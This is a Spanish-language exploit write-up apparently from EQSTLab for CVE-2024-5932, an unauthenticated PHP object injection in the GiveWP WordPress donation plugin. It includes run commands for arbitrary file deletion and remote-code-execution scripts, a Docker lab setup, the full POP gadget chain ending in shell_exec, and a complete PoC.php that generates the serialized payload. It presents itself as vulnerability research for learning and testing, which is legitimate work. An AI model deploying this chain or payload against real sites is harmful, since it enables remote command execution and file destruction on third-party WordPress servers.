
Exploit de inyección de objetos PHP de GiveWP
Esta publicación es un artículo de investigación publicado por EQSTLab.
Actualmente existen repositorios falsos de PoC en GitHub que ejecutan xmrig. Consulte el siguiente enlace para obtener más información:
URL1: https://x.com/win3zz/status/1828704644987511107
URL2: https://x.com/bornunique911/status/1828712791844524453
URL3: https://x.com/Chocapikk_/status/1828801346637856841
★ CVE-2024-5932 Eliminación arbitraria de archivos y PoC de RCE ★
https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7
25 de agosto : PoC de eliminación de archivos CVE-2024-5932 subido
26 de agosto : Hemos ejecutado con éxito comandos arbitrarios usando CVE-2024-5932, pero estamos considerando la divulgación debido al impacto.
27 de agosto : Encontramos un análisis detallado del PoC en una publicación de Julien Ahrens de RCE Security y decidimos publicar nuestro PoC de RCE. Subimos un PoC de RCE adicional como CVE-2024-5932-rce.py.
CVE-2024-5932 : Vulnerabilidad de inyección de objetos PHP en GiveWP. Descripción: El plugin GiveWP Donation Plugin and Fundraising Platform para WordPress es vulnerable a la inyección de objetos PHP en todas las versiones hasta, e incluyendo, 3.14.1 a través de la deserialización de entrada no confiable del parámetro 'give_title'. Esto hace posible que atacantes no autenticados inyecten un objeto PHP. La presencia adicional de una cadena POP permite a los atacantes ejecutar código de forma remota y eliminar archivos arbitrarios.
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
pip install -r requirements.txt
# Eliminación de archivos arbitrarios
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Ejecución remota de código
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-5932.py

CVE-2024-5932-rce.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.14.1.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



Primero, acceda al shell de WordPress con el siguiente comando:
docker exec -it -u root docker-wordpress-1 /bin/bash
Si el archivo es propiedad de root, es posible que no se elimine debido a los permisos. Por lo tanto, debe cambiar la propiedad del archivo de prueba con el siguiente comando:
touch test && chown www-data test

Puede depurar su GiveWP usando PHPSTORM.
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..Y luego puede depurar su WordPress.


En este punto, la función get_meta() deserializa el valor previamente guardado de "give_title".
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
strip_tags: reemplazar nullbytes -> usando \0
stripslashes_deep: reemplazar barras invertidas -> usando \\\\
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (Return command string)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
La cadena POP permite la ejecución remota de comandos.

Usando TCPDF, se puede explotar la eliminación arbitraria de archivos.
Este repositorio no está destinado a ser un exploit de inyección de objetos para CVE-2024-5932. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y quizás probar sus propias aplicaciones.
Publicamos análisis de CVE y malware una vez al mes. Si está interesado, siga los enlaces a continuación para consultar nuestras publicaciones. https://www.skshieldus.com/eng/business/insight.do